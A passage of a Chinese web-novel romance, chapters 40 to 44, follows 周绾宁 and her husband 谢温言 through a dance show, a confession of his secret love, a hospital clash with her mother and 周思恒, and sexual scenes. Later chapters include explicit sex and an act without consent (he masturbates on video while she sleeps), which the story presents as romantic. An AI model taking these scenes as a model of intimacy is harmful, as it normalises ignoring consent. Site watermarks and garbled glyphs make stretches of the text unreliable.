周绾宁拿开手机看了一下自己刚抹上不久的唇彩都消失了,而且都在谢温言的唇上。 想到什么,她拿出手机,然后一手搂住他,与他的脸颊贴在一起,在闪光灯下拍了一张合照自拍。 谢温言倒是愣了下,在周绾宁扮俏皮脸的时候,错愕又深情地盯着她。 周绾宁将照片发到他现在的小号上:“手机桌面还是两个人的照片好。” 说完这句,她笑着离开。 谢温言低下头,将手机屏保设置成他们两个人的合照。 想来从早上周绾宁给他突然发想他了,还有现在的合照,都可以表明她看到了周思恒给他发的消息。 那天他看到周思恒给他发的周绾宁写给他的情书后,他就和周思恒加了好友,要他发更清晰的给自己。 他知道,总有一天周绾宁会看到周思恒发给他的所有挑衅。 宋承珉说得对,对付周绾宁就该让她对他有怜悯。 楼道刚刚因为开门声亮起的灯暗下,谢温言的嘴角勾起,打开门走出去。 谢温言没有去擦掉唇上若有似无得口红、脖颈上浅浅的吻痕,甚至解开纽扣,让那吻痕更加明显。 那都是半个小时里,周绾宁失控在他身上留下的。 他走到大会堂外,随着保镖打开门的那一刻,室内的灯光也暗下。 只见舞台上,有聚光灯照在左边的入口处,随即一抹身穿白色长裙舞服、圣洁如天使的身影,在一段钢琴曲里,像只蝴蝶一样轻盈地跳了进来。 台下所有人的目光都聚焦在她身上。 她自信满满地在舞台上旋转,裙摆形成圆弧,无论是抬腿还是跳跃,都十分游刃有余。 谢温言缓缓向第一排走过去。 不知道为什么,明明只是走向第一排,他却有些像是在婚礼现场去接属于他的新娘。 谢温言每一步都很坚定,又很轻松愉快。 随着他在自己专属的位置上落座,摆完造型的周绾宁似乎也在人群里找到了他。 他看到她的眼睛里盛满光芒。 他好像终于在周绾宁的身上、眼睛里看到了当初他以为她只在周思恒面前展现的那一幕表情。 后来,音乐变奏,周围无数的小蝴蝶都从两边的舞台入口簇拥上来,跟随周绾宁一起跳舞。 她从圣洁到神圣,又变为神爱世人的怜悯,肢体语言也越发的柔美。 随着舞蹈的结束,台下发出响亮的掌声。 谢温言也是一直到舞台灯光亮起,才有些后悔自己没能把刚刚的舞台录下来。 虽然这是周绾宁跳给舞台下所有人的,但他还是固执地认为这是周绾宁跳给他一个人的。 好在,当他看向身侧的小姨时,发现她刚放下录制的手。 “小姨……” 他刚出声,温璐琳挑了下眉:“想要自己老婆跳舞的视频啊?好啊,用三个爱马仕来换。” “好,我给。” 温璐琳笑了,把视频转发给自己的外甥。 很快,其他表演也轮番上阵,直到主持人宣布一个颁奖环节,是给幼儿园最新一年优秀教师颁奖。 原本这个颁奖的人,是盛坤教育的孙总上去。 但谢温言抢先一步站起身,摁住了孙总的肩膀,随即在主持人硬生生改口的情况下,大步登上舞台。 实在没办法,谢温言一心就想给自己的老婆颁奖。 他从礼仪小姐的手里拿过奖杯,友善地递给韦老师、冷傲地递给覃老师,最后郑重地递给周绾宁。 周绾宁有些不敢看他。 可他灼热的目光不减。 哪怕是覃扬带着怀疑的目光看过来,谢温言也只是冷冷地瞥了他一眼,而后继续爱意满满地看着今天再次惊艳自己的……他的小姑娘。 “跳得很好、很美。”他及时夸赞她。 周绾宁红着脸低头:“谢谢。” 而这时,覃扬也关注到,谢温言的唇色和周绾宁的…… 出奇一致。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 长嘴 从未用那么热烈的爱意灼烧过我。…… 晚宴结束, 周绾宁私底下找了周辞安递交了自己的辞职信。 周辞安给了她一个大大的拥抱,恭喜她终于能回到自己的舞台。 随后, 周绾宁去找谢温言。 刚刚在台上颁完奖要下去的时候,她注意到谢温言下了台阶走回自己的座位上时,面色不太好。 温璐琳也是忧心忡忡地看着他。 再结合之前在舞蹈教室里她收到谢温言的信息是说他心脏不舒服。 她怕谢温言身体不舒服,想要去找他查看情况。 贵宾休息室外有两个保镖守着,见到她来,向她颔首,自动放行。 周绾宁小心翼翼走向里面, 从门外探头进去, 发现谢温言正在解衬衫的纽扣, 随着将上衣脱下, 张开胸膛,他的面色有些痛苦,脸色苍白了几分。 温璐琳拿出随行带的医药箱,有些责怪:“谢温言, 来之前我跟你说过多少次了,你不能多动不能多动,我已经由着你不顾身上的伤, 来看绾宁的表演了,你怎么还那么让人不省心?” 谢温言无奈地靠在桌子上:“前两年我陪伴她的时间实在是太少太少,现在回想起来都拾不起来我和她的美好回忆。我现在恨不得时时刻刻粘着她。留下我和她的美好回忆。” “孙晗莉把她的簪子刺进我胸腔的时候,我想的不是我没了该怎么办,而是担心绾宁会不会很快就把我忘掉。一想到以后我不会出现在她的世界里, 我就想在活着的每一秒都创造属于我和她的美好。” 温璐琳骂了一句:“你遗传你妈什么不好,非要学她恋爱脑,你说说你脑子里除了盛坤集团, 是不是就只剩下了周绾宁?” 周绾宁在门外看着,只见谢温言向来沉稳优雅,但此刻在灯光下,笑得颇有少年感。 “小姨,错了。” “我现在的脑子里除了周绾宁,就只剩下了一点点盛坤集团还有其他的事情。” 他深呼吸一口气,“以前我也不理解我妈为什么在我爸不爱了之后,不离开他,把自己困守在那段感情里,自我折磨到最后向死而生。” “后来在我23岁那年看到周绾宁在 椿?日? 舞台上的演出,对她一见钟情后,其实就一直用我自己全部的力量慢慢走到她身边。我知道这很疯狂,所以从来不敢让绾宁知道我有那么变态的时候。” 周绾宁在外听着这一切,有点茫然。 对于谢温言说的这些,她竟然一点也不知情。 谢温言对她一见钟情? 怎么可能。 他们的初见难道不是在京市第一医院的天台上吗? 而且他们之前不是很单纯的交易婚姻吗? “其他我不管,但你有没有想过,得尽快和绾宁坦白一些你一直瞒着她的事情,至少先告诉她你有多喜欢她吧?”温璐琳建议。 “告知喜欢这件事,我之前确实是有顾虑。” 谢温言平日里哪敢表露出害怕,也只有在自己的小姨面前卸去一些伪装,说心里话。 “我妈把自己的爱意全部表露,最后输得一败涂地。自此我在感情里学会的第一个道理就是不会完全将自己的爱意告知对方。这样就算哪天绾宁不要我了,我也可以假装自己没有输。” 周绾宁听着里面谢温言的话,心里有些发酸发涩。 没来由的,只是有一种被欺瞒、被有所保留、被防着的无助。 “算了,阿姨也不知道你们年轻人现在的恋爱观是怎么样,但你胸腔真的要好好保护好,你一年前发生那样严重的车祸,伤得也是差不多的位置,孙晗莉的簪子再准确那么一点点,你这次都要没命了。” 谢温言点点头,忍受着小姨给他上药的疼。 忍疼忍到额头出了薄汗,脸色惨白。 直到好一会儿,温璐琳帮她贴好绷带,他才松了口气。 “现在疼得要命,刚刚在自己老婆面前怎么那么能装。” 温璐琳把东西往医药箱一丢,而后示意,“走了,回医院。等你主治医师知道我把你带出来一天,我非被他揍不可。” “姨夫哪舍得说你。” 谢温言尽量让自己的嘴巴放甜,因为他还要触犯一下温璐琳的底线,“我现在还在追求老婆回到我身边,今晚可能还要去一趟,等把她哄睡了,一定回……” “谢温言!”温璐琳果然发表,大声斥责,“昨晚你回来的时候线头就崩开了许多,差点推进手术室重新缝。你今天还要去?” 眼见里头要吵起来,周绾宁立马故意发出声音,踩着高跟鞋大步过来,装作若无其事地敲了敲休息室的门。 温璐琳看到她来,脸色倒是没有异样,只是没好气地瞪了一眼谢温言,说道:“算了,我先回去了。你爱咋咋地。” 周绾宁:“小姨,你等一下,我就跟温言说两句话。” 温璐琳愣了下,几乎是听出来了她的意思,知道刚刚周绾宁可能听到了她们的对话。 于是对她点点头后,离开了。 至于谢温言,在周绾宁走进来的时候就慌张地背过身去系纽扣,还顺手把医药箱推到看不到的角落,一派做贼心虚的模样,自然也就没听到周绾宁和温璐琳的对话。 等他转过身看向周绾宁的时候,却见她目光灼灼地看着自己。 “怎么了?”他坐到沙发上,尽量装作若无其事的模样。 周绾宁看了看门口,那里已经没有什么人了,便放心地去拆谢温言的衣服。 谢温言立马按住她的手:“绾宁你……” “受伤了,为什么不跟我说?”周绾宁看着他胸口的绷带,“听刚刚小姨的意思是,昨天你来我家找我的时候就已经受伤了,为什么不告诉我?” 谢温言不知道怎么说,下意识抓住周绾宁的手。 只要她不走,就还有哄好的机会。 “我不是不想告诉你,只是不想让你担心。” “谢温言,没有什么比你的命还重要。”她伸手也握住他的手背,“你要好好的。只有你好好的健康的,才能看到我之后的舞蹈。” 谢温言心下的不安倒是因为周绾宁的这两句话,有些缓和。 周绾宁深吸一口气,继续道:“谢温言我是一个很容易没有安全感的人,这个没有安全感不仅是害怕对方不爱,还有一种是对方的隐瞒和欺骗。” 谢温言的心脏再次一紧,几乎下意识地将周绾宁往自己怀里一拽,另一只手箍住她的腰:“绾宁,我可以解释。” “将心比心,之前我也确实没想告诉你,我有多喜欢周思恒。那是因为我觉得那段不堪的过往不需要被你知道,我不想让你觉得我曾对一个没有血缘关系的小叔叔有不伦的想法。” 周绾宁低下头,眼眸里全是哀伤,“但我确实曾很喜欢过他,从他小时候救我于雷暴天下,在我落水生病时,各种悉心照顾我,在我迷路时背我回家。” “现在这些都不重要了,重要的是,他不告而别,把我蒙在鼓里当傻子,让我在这里煎熬地等他告诉我一个真相。” 周绾宁说着话,眼眸里蓄积起眼泪,“后来是我爸把所有的事一个人抗下,能对我瞒着就瞒着,以至于连我后来都以为周家度过难关了,跑去准备练舞,结果回家后见到的就是爸爸突然的自缢。” “再是后来……我妈妈其实早就和廖叔叔有了一腿,却始终瞒着我,直到瞒不住了,给了我一个举目无人的家。” “所以……我不希望你再把我当傻子一样耍,什么事都瞒着我。”周绾宁心疼的眼泪终于忍不住落下,她伸手去触摸他的伤口。 刚刚那个角度没看到,现在看到了,伤的地方确实是在心脏处。 “谢温言,你还有没有别的事情瞒着我?”她想要他的一个坦诚,就比如刚刚他和小姨说的,一年前的车祸。 为什么关于这个,她会全然没有印象。 一年前,谢温言好像始终在国外很忙,甚至都没有接她的电话…… 会不会和这场车祸有关? 周绾宁无从探知,只能等待谢温言亲口坦白。 “乖,别想那么多。今天忙活了一天累了吧,我们回家?” 谢温言准备带着她起身,却见周绾宁从他手里抽回了她的手。 她疏离地后退一步,离开他的双膝,站起身居高临下看着他。 “那我是不是可以认为,我认为你现在是喜欢我的这件事,也是我想多了?” 周绾宁其实很不想和受伤的他闹脾气的,但就是有些控制不住。 她发现自己压根看不透谢温言。 从他和小姨的对话可以看出。 他们之间的一切都仿佛是他蓄谋已久,而她只是他棋盘里的一枚棋子。 这种被完全掌控度的感觉,在知道执棋者全部爱意的时候,内心是安稳,但一旦参不透执棋者的意图时,那就是一种折磨。 她会陷于内耗里,去猜他到底想从她这里得到什么? “关于我喜欢你这件事,你没有想多。” 谢温言无意再隐瞒,尤其是这几天看到太多的情敌,他也有些着急了。 “我和你的相遇是你18岁第一次巡演的时候。那天是我妈祭日。每年她的祭日,我都会去京市文化大剧院看《月下洛神》的表演,我在你身上看到了我妈妈的风姿,从此你就成了我妈妈之后,我心里唯一的洛神。” 谢温言握住她的两臂手腕,把人拉到自己面前,紧紧拥住她,“你还记得那个在你跳完舞没有及时离开观众席,还享受了你独舞表演的人吗?” 周绾宁愣了下,眼眶里有水波动荡:“是你……那个黑暗先生,是你?” 谢温言点点头:“嗯。” 周绾宁现在的心情复杂极了。 她十分不解看着他,质问:“谢温言,为什么你从来都没告诉我?” “最早之前不告诉你,是因为那时候你的身边……不需要我。” 谢温言深吸一口气,后退坐下,捂着心脏,也不知道是伤口疼,还是由内而外的疼。 “在我爱意最隐晦的那几年,却恰恰是你对周思恒爱意最为热烈的那几 椿?日? 年。” 他如星火微茫的爱,怎么比得上她如同小太阳一样对着周思恒的爱呢。 他不想将这份星火的爱当着她的面拿出来,因为很可能就此散掉,再也无法燃烧。 他宁可让那火藏在自己心里,把自己的心脏烧透,也想在未来与周绾宁有一份可能。 好在,他终于等到了…… 周绾宁看着面前谢温言。 他仰着头,眸光破碎地看着她,笑容微带自嘲。 “之后没告诉你是因为……” “绾宁,其实这七年来,哪怕直到现在,我也一直在耿耿于怀,为什么你从未用那么热烈的爱意灼烧过我。” 说出这句话后,谢温言觉得自己可能疯了。 明明一直到现在,他都不想让周绾宁知道自己全部的爱意,怕自己输得一败涂地。 但真当这些话说出口,他才发现自己竟然甘愿输给她。 第42章 想要 耳畔传来男人低低的喘息声。…… 周绾宁听说过一句话, 当一个上位者对着你露出破碎的神情时,那么证明他爱惨了你。 她小心翼翼地靠近他, 伸手抚摸他的脸颊,最后单膝跪在沙发上,凑过去含住谢温言的双唇,轻咬,又舔。 下一秒,谢温言将她的腰身揽住。 感受到她在笨拙地哄自己,一些未被满足的难过, 瞬间消散。 “宁宁, 这是在哄我吗?” 周绾宁用自己的鼻尖顶住他的鼻子, 轻轻蹭蹭:“谢温言, 不要不开心。” 谢温言伸手扣住她的下巴,重新吻上去,强势中透着温柔又有些不顾一切的放纵。 两个人做得很深过,但从来没有吻得这样露丿骨过。 谢温言的十指与她的紧紧扣住, 分开到身躯两侧,让她身躯不稳,每一处都与自己贴合。 以前总要配合上他指尖的行动, 才会有更大的反应,但这一次光是在他身上被他引导着接吻,就已经有了感觉。 片刻后,谢温言笑了:“回家?我喂你。或者……你喂我?” 一瞬间,周绾宁从情慾里清醒过来, 按住他的肩头,恢复到思绪清明:“你回医院吧。” 正迷恋她身上味道而埋首在她颈窝的男人顿住,不爽地抬起头:“怎么?” “哄完你了, 现在该轮到我生气了。” 周绾宁推开他站起身,“我刚刚说了,我不喜欢被隐瞒实情的感觉,等你什么时候坦白你瞒着我的所有,再来找我,到时候我也会将我没告诉你的,说给你听。” 说完,她转身离开,半点犹豫都没有。 谢温言想去追,但是扯动了自己的伤口,一时间没能顺利从沙发上起身,等到追出去的时候,周绾宁已经不见身影了。 另一边,温璐琳还等着他:“看什么看,回医院!” 谢温言气笑。 * 回到家后,周绾宁从手机里翻出小姨的号码,询问了谢温言的病房在哪,并让她明天绝对不许让谢温言离开医院。 小姨回了一句:【定不辱使命。】 又在一会儿后发来,【不过你男人太难伺候了,看到你把他丢休息室后,回医院的路上全程黑着脸,做检查也不是那么配合。】 【谢温言很少有这种小孩子脾气,我大概也已经十几年没见过他这样了,平时沉稳让人很放心的小伙子,今天跟个小孩一样。】 【要不你明天来哄哄?】 周绾宁想了想,从冰箱里拿了些菜,照着食谱开始学做菜给自己吃,也打算明天给谢温言做个爱心便当。 直到做出色香味俱全的西红柿炒鸡蛋,还有一道炒空心菜,才有信心回复小姨:【明天我会过去看看他。】 【好。】 吃完饭、收拾好自己,周绾宁默默躺在床上。 片刻后,谢温言的微信视频电话来了。 周绾宁本不想搭理,但又觉得他本来就已经受伤了,自己太过冷漠的话,对他伤势恢复得也不会太好。 她按了接通。 视频对面,谢温言似乎是正躲在被子里,顺毛的头发,再加上水汪汪的眼睛,倒一点也不像是别人眼里的霸总,而是带着点少年感。 周绾宁忽然觉得他们不是老夫老妻,倒有点儿像是背着爸爸妈妈谈恋爱的高中生。 “不好好休息,怎么还打我电话?”周绾宁侧躺着,这样就好像两个人睡在一块。 “周绾宁,不许冷暴力我。” 周绾宁侧了个身,昨晚没睡好,今天又全程精神紧绷,她打了个哈欠,困呼呼的眼神看着他:“谢温言,不许瞒着我。” “我和你父亲是旧识。” 周绾宁愣了一下,原本以为谢温言会说出一年前也受过伤的事情,却没想到他会爆料一件自己完全不知道的事情。 但她也并不意外。 谢温言在京市商界那么有名,她父亲从沪市转到这里来,应该没少跟京圈的几个富商周旋。 这时,谢温言又补充了一句:“关系还不错的那种。” 周绾宁有点困了,敷衍地应了一声:“嗯,还有呢?” “就差不多是这个,不过有件事我得说明,你很喜欢的小兔子钥匙挂件,是我送的,是我转交给你父亲,让他送你的。” 周绾宁微微蹙眉:“可我爸爸说,那是小叔叔送我的。” 具体父亲怎么说的,她已经忘记了,只记得父亲明确说了“小叔叔”三个字,在此之前,她因为回国没有买下这个礼物,也曾跟小叔叔撒娇过。 在那时候的她看来,只要自己撒个娇,没什么得不到。 后来看到爸爸手中真的有那个钥匙扣,她就下意识以为是周思恒买给她的。 那也是促使她对周思恒感情升温的一个物件。 因为在她看来,周思恒送她这个是有表白的意思。 只是后来她才知道,自己有多小丑。 手机对面,谢温言眼眸里的光泛泛,很是凄楚。 周绾宁知道他伤心了。 一时间,两人之间仿佛她又处了下风。 她见不得谢温言这种伤心难过的样子,就好像是之前谢温鄞看到她不抱他,哭唧唧的模样。 这俩兄弟,年纪都快差二十五岁了,但难过起来,都一样让她招架不住。 “谢温言,你别不开心了。” “想要……” “嗯?”周绾宁没有反应过来。 谢温言叹了一口气,说道:“你就这样让我一直看着你,你睡吧,明天还要上班。” 周绾宁也确实没精力了,已经到了她的睡眠时间。 她伸手,轻轻在镜头上划过谢温言的脸颊,软糯糯地对他说:“谢温言,你也早点睡哦。” “嗯。” 听到他的应声,周绾宁抱着手里的哄睡小熊睡去。 不知道过了有多久。 她的耳畔传来男人低低的喘息声,仿佛很远,又仿佛近在耳畔。 很真实,还有一声声的“绾宁”。 听出那声音里饱满的情慾,周绾宁的脑海里逐渐勾勒出了那一夜夜在谢温言身下承受他重击的画面。 身内的反应无比真实地叫嚣着想要她。 可无法满足,让她从睡梦中缓缓醒来。 她看到还没有挂断的视频电话里,谢温言额头布满细汗,神情迷醉,嘴里呢喃着她的名字,一声又一声,是对她无穷无尽的渴求。 终于,他低吼一声,像是之前每次在她身内激荡出来的那样,他似乎到达了。 也就是说,刚刚她在梦里做梦,而现实里的谢温言看着她,对她做了那些羞耻的事? 她红着脸挂断电话并关机,而后让自己躲进被子里害羞。 但是那个慾求不满的谢温言,在她脑海里怎么也挥之不去了。 * 次日下课,周绾宁把自己做的便当交给了小姨。 小姨问她:“不进去看看他吗?” “不了,等他什么时候跟我坦白一年前他受伤的事,我才会理他。小姨,这两道菜是我做的,不太好吃,但应该也比医院的稍微有点儿味道,你 椿?日? 就帮我送过去吧。” “好。” 之后,温璐琳也不再跟周绾宁闲聊,因为她还有其他病人要去照顾。 周绾宁正要回家去,忽然接到了……许久没有联系过自己的妈妈的电话。 说实话,上次在廖家发生那样的事情后,周绾宁就决定以后就是自己一个人了,所以她纠结半天,还是没有立刻接通赵秋韵的电话。 但片刻后,又有一个陌生电话打进来,是廖叔叔的女儿廖颖。 “喂,绾宁姐。” 电话一接通,就传来廖颖客气谨慎的声音。 周绾宁深吸一口气:“怎么了?” “绾宁姐,阿姨自从那次你离开再也不接她的电话后一直很伤心,前阵子又大病了一场,我觉得还是得告诉你一下这个消息。” 周绾宁冷下温热的心脏:“她现在不是已经有儿有女了吗,怎么还会想到我,是又有什么事情需要我帮忙了吗?” 她从来不是一个冷情的人,但有时候失望攒够了,就再也拼凑不出多余的热情。 “没有,绾宁姐,你真的误会阿姨了。她现在在京市第一医院保胎。” 周绾宁呵出一口气,抿了抿唇:“她不想活了,不知道自己已经高龄产妇了?就那么想给廖叔叔生个孩子?” “绾宁姐,你就看在这个还未出生的弟弟妹妹面子上,过去看看阿姨吧。” 廖颖叹了一口气,“其实我知道你和阿姨之间的矛盾已经不可调和,我也不想掺和到你和阿姨之间。但我妈妈没了后,阿姨确实是对我很不错的阿姨,她有时候照顾我的时候,都会下意识喊出你的名字,我知道她很爱你。” “阿姨也跟我说过,她身上带着病,如果跟着你,以后你不好嫁人,不好开展自己的人生,她也怕你为了她再也不去跳舞,或者是拼了命的跳舞。阿姨也是为了你好。” 周绾宁心尖涩然一片。 “哪个病房?” 廖颖松下一口气,报了地址。 周绾宁去医院前,还特意买了一束花和一篮水果,一起带去京市第一医院。 她也特意给赵秋韵发了条消息,说自己会过去,也给谢温言发了一条自己去京市幼儿园看望妈妈的消息。 其他的事情没有多说。 到了医院,她发现廖叔叔这一次对她妈妈好像还挺大方,准备的是vip病房。 如果廖叔叔对妈妈好,妈妈也能一直这样幸福生活下去,倒也不错。 以后两人也能互不干扰。 可打开病房门的时候,她看到的人不仅有自己的妈妈,还有…… 一个她并不想看到的人。 周思恒。 一瞬间,敏锐的观察力让她察觉到,这一次妈妈住这个vip病房,并不是廖叔叔的功劳,怕是周思恒的“财力”。 周绾宁并没有逃走,而是走过去把自己卖的花和水果放到妈妈的床头柜上。 “廖颖打电话过来要我来看看你,恭喜啊,妈妈,马上就会有你和廖叔叔的孩子了。” 周绾宁说完这句话,看了一眼周思恒,眼神暗含攻击性,“你呢,为什么会出现在这?” “我在路上意外撞见嫂子因为低血糖晕倒,就送她来了医院。” “是吗,真巧啊。” 周绾宁才不相信这个借口,所以说话也不免阴阳怪气起来。 而赵秋韵发现两个人之间的氛围很古怪,立马为彼此缓和气氛:“绾宁啊,你看,你的小叔叔终于从国外回来了,你应该感到开心呀。之前你小叔叔出国后,你不是天天伤心难过吗,那段时间你都瘦了整整一大圈。” 说着话,赵秋韵又看向周思恒,“思恒你也知道,绾宁一直很粘你,当初你走后,这小丫头三天没怎么吃东西,都吓坏了我和你大哥。” “妈!”周绾宁终于忍无可忍,怒斥出声,“谁都可以不清楚,但难道你真的不知道,害爸爸半生心血付之一炬的罪魁祸首是谁吗?” 第43章 示爱 想遮掩又掩饰不掉的颤栗。…… 赵秋韵不知道怎么回复。 周思恒说了句:“你们先聊, 我在外面候着。”随即离开病房。 周绾宁也无意在这里多待:“提前跟您说清楚,这次是我最后一次来跟你见面了。” “你就不能好好听妈讲讲吗?” 赵秋韵抬起头, 眼眸含泪,“当初周家是能被救回来的,你爸有一次打电话给他的合作伙伴,想用最后的资金一搏,可那人骗了你爸!本以为是救命稻草的盛坤集团拒绝了和你爸合作。我们周家最后才会变成这个模样。” “你是想说,这个骗子是谢温言?” 听到赵秋韵把盛坤集团提出来,周绾宁又联系到了周思恒在这里, 光是简单想想, 就能知道两个人聊了什么。 “妈并不是想拆散你和温言, 只是前阵子我整理你爸爸的遗物, 发现了他邮箱里和谢温言的往来邮件,才知道了这些事情,我觉得有必要告诉你。妈也知道周思恒过去是做了对周家不好的事情,但他也是真疼你, 你跟他在一起,妈妈也能放心。” 周绾宁觉得可笑:“所以,你把我当什么, 你觉得为我好就可以无视我的意愿替我做安排了?所以你今天帮他骗我过来,也是为我好?” “妈知道,你和谢温言只是契约婚姻!你自己也说了,你在谢家过得一点也不好。思恒再怎么也不会让你受苦,也不会让你这两年连舞都跳不了。” 听到这些, 周绾宁再也忍不了了,她沉眸上前:“赵女士!我的感情生活不需要你的插手和指摘,从两年前你就再没有参与过我的生活, 所以现在我的事情也不需要你插手!我在谢家过得好不好,那都是我自己的选择,你心疼我,我也没见你在我难过的时候过来安慰我一句。” “你现在无非就是看到周思恒事业有成地回来了,就幻想着他跟我破镜重圆,提升你在廖家的地位,让廖颖和廖宇对你马首是瞻。你是心疼我吗,你只在乎你自己!” “绾宁!你怎么能这样想妈呢!” “难道我说错了吗?赵女士!” 赵秋韵气急,直接掀翻周绾宁给买的鲜花和水果,砸了过来,颇有些恼羞成怒的感觉。 而门外听到里面动静的周思恒立马进来,看到场景就是周绾宁站在一地狼藉里,赵秋韵脸色也不好。 他观察到周绾宁的手臂在流血,心里一紧,连忙走到她面前拿起她的手查看,发现上面是被锋利的东西,重击出血了。 “绾、绾宁。”赵秋韵显然也没想到自己会给周绾宁造成这样的伤害,后悔地要下床,但因为担心肚子里那个,还是没有下来。 “我带你去包扎。”周思恒眼露心疼,想带她出去。 但周绾宁直接抽掉了自己的手,抬起头淡淡地看了他一眼,深吸一口气:“这就是你今天的目的,让我心寒到和我妈决裂?” 周思恒眸光下沉,用宽大的双手握着周绾宁的双臂,神情和姿态都比以往强势,像是忍无可忍:“当初,确实是谢温言害了周氏集团。” 周绾宁感到好笑,嘴角勾起,有些想要气他:“那又怎么样,我爱他。” 她知道这句话对周思恒是绝杀,但这时候她就是想激怒他。 果然,听了她这句话后,周思恒整个人的神色都变了。 “你再说一遍。” “周思恒,无论谢温言做了什么,我都爱他。” 周绾宁没什么好不承认的,“从我被逼无奈,想从这里的天台一跃而下,只有他用实际行动救下我的那一刻,我就爱上他了。” 周思恒愣了愣:“你……天台?” 周绾宁再次深吸一口气:“骗保啊,曾经走投无路成这个样子,我也没想到有一天我会做出这个决定……” 说话间,她看向自己的妈妈,“那时候赵女士生了重病,爸爸又没了,亲戚朋友那我借不到钱,摆在我面前的只有两个选择,要么妈妈死,要么我意外出事骗取保险赔偿 𝑪𝑹。” “那时候拯救我的,只有谢温言。你和现在口口声声为我好的妈妈,一个走了,一个需要我用我的命救。” “所以你现在说再多,就算想把周家破产的锅都推给谢温言,你以为我就会离开他奔向你吗?你以为我爸出事前最后一个月,我每天殚精竭虑陪着他跑各种酒局饭馆去筹钱的时候,我心里不知道到底是谁害了周家吗?” 说完,周绾宁转身要走,她的手刚搭上门把手。 身后,周思恒忽然冷声开口:“今天我骗你过来,就没想让你离开。” 周绾宁回头不解地看他,只见周思恒一步一步逼近,那金丝框眼镜下赭色的眼眸里带着一份自责与后悔,但更多是强势与偏执。 “周绾宁,以前的事情都过去了,只要你能回到我身边,我会尽我以自己的一切弥补你。” 周绾宁只是冷笑回:“我不需要。” 随即,她打开病房门,却见外面围着四五个黑衣保镖。 周思恒:“你以为你出得去吗?” 但下一秒,保镖尽头出现了一个更挺括的身影。 周绾宁刚刚凉下来的心,在看到谢温言的那一刻,重新被捂热。 有一种,在她被全世界离弃、背叛的时候,只有他坚定地出现在人潮尽头,始终护着她。 眼见周思恒要追过来,她不顾一切朝谢温言跑。 好在门外的保镖不知道什么时候换成了谢温言的人。 他们让出一条道,让她顺利扑进了谢温言的怀里,将身后她想逃开的人,牢牢堵在病房里。 谢温言先是拥紧她,随后查看她手受伤的地方,那满眼的心疼似乎要溢出来,眼眸带寒意地看向里面。 而里头周思恒看到自己的保镖被揍得鼻青脸肿倒在一旁,知道今天是带不走周绾宁了。 没想到谢温言看得这样紧。 “老公,我们走吧。” 周绾宁怕他们起正面冲突,也怕谢温言会生气,他身上有伤,最好还是离开这。 谢温言点点头,握着她的手,将她带离。 只是在经过病房里的时候,他冷眼扫了里面的两个人,带着极大的厌恶。 所有伤害周绾宁的人,他都恨不得让他们消失在这座城市。 * 谢温言没有把周绾宁放回她的小公寓,而是径直带去了梧桐湾的主卧。 医生已经在等着了,虽然车上谢温言帮她处理过,但最后还是医生的手法老练,包扎得很好。 周绾宁也担心谢温言身上的伤,想让医生看看。 但谢温言拒绝了:“已经好得差不多了,本来就没事,是你太紧张了。” 周绾宁不放心,坚持。 医生在谢温言的眼神示意下,帮忙检查,给了周绾宁的一个放心的回复:“先生伤口恢复得很好。” 谢温言一边让医生可以离开了,一边依旧衣衫大敞地看着她:“没骗你吧。” 周绾宁点点头,随即有些尴尬,不知道该怎么面对他。 前两年虽然在这个房间里什么都干了,但自从上一次在这里什么都干了之后,就有些无法面对他。 谢温言也似乎发现了两人之间氛围有些尴尬。 那一夜实在疯过了头。 做了两次后,他去冲澡,醒来发现她拿着衣服往外跑,他把人扛回来,按在沙发上亲吻。 吻遍了她的全身,用尽了两人两年来体验过的姿态。 他轻轻伸手过去,想要查看她现在还抵不抵触自己的触碰。 未料,手刚碰到,周绾宁就是一个激灵。 她像是小兔子一样震惊地看着他,眼睛红彤彤的,带着一点害怕。 谢温言叹了一口气,挠挠头,准备去洗漱。 未料这时候周绾宁来了一句:“谢温言,你想做吗?” 谢温言愣了一下,侧头看她。 这还是第一次,他从她嘴里听到这句话。 周绾宁被他灼热的目光浸透,小心翼翼道:“如果你想的话,我也可以,只是想要你答应我一件事。” 谢温言心潮澎湃,只是面上一派沉稳。 他微微侧躺,用手支撑着自己的头,眼眸水光泛滥,颇为深情:“答应你什么?” “我要在上面。” 谢温言下意识要问一句什么,但忍住了,只是眼底的火被点燃,再也有些消不下去。 他伸出手,似做邀请。 周绾宁握住他的手,借力坐在他的双膝上,看着他。 今天她以为自己会被周思恒带走,却没想到他会出现在医院。 再次被妈妈抛弃的感觉真的不好受,她急需向一个人寻求到那一份被热烈爱着的感觉,正好,谢温言就是那个人。 她想,至少在此时此刻,谢温言能够填满她心里所有的不安。 想到上次在休息室里的场景,她忍不住告诉下方的男人:“许是经历过太多的事情,我可能不会像十几二十岁那时候那样热烈地去爱一个人。” 正等待她落吻的男人,微微睁开眼,朝她看来:“什么?” “谢温言,你想要遇见那个像小太阳一样炙热的周绾宁吗?” 她其实已经不敢尝试再把满腔的爱意给任何一个人了,但如果对面的人是谢温言,是一直护着她的谢温言,那么,就可以再试试。 “我可以吗?”谢温言小心翼翼凝视她的眼。 “只要你让我感受到你很爱很爱我,我就把那个周绾宁送还给你。” 这份露丿骨的情话,周绾宁说给他听后,整颗心都在不受控制地颤动。 谢温言眼神欣慰,仰头凑过去,亲她:“谢谢你,愿意给我一个机会,遇见那样的周绾宁,但我现在更喜欢待在我身边,也喜欢我的……周绾宁。” 周绾宁嘴角勾起,回吻他。 如果说,以前在床上的那些过往,周绾宁都是收着的,但自现在开始,她不再收着了。 这段感情最终走向会是怎么样,她并不清楚。 但她相信谢温言会珍惜她。 浴室里,水珠顺着两个人缠吻的唇间不住落下。 谢温言埋首在她的长颈间,轻轻地亲,细细地吻,听着她因为自己的亲密无间而发出的喟叹,还有那一下下想遮掩又掩饰不掉的颤丿栗。 “谢温言,我仰着头脖子酸。”周绾宁双手圈着他的脖子,几乎全身的力气都压在他身上。 谢温言嘴角勾起,一把将她抱起。 “那就这样吻我。” 周绾宁嘴角勾起,两手捏着他的耳朵:“能不能叫一声老婆,让我听听。” 谢温言失笑,脸颊倒是泛起了红。 明明能在别人面前那么轻易地将周绾宁是他老婆这件事宣告出口,但现在她在自己面前就这样要求,竟然有些怪不好意思的。 谢温言的喉结滑动,抬眸灼热地看着她,郑重道:“老婆。” 一刹那,周绾宁整个人都酥了。 第44章 哥哥 “绑我做什么?” 夏日有雨, 风打乱雨滴的节奏,有些急促、有些狂乱。 屋内的氤氲热意随着风灌入而被吹散, 唯独散不了的是两人身上都抹有的依兰香。 周绾宁坐在谢温言劲腰上,把他的两只手用粉色的丝带轻轻绑在床头的杆子上。 “这是准备怎么玩我?” 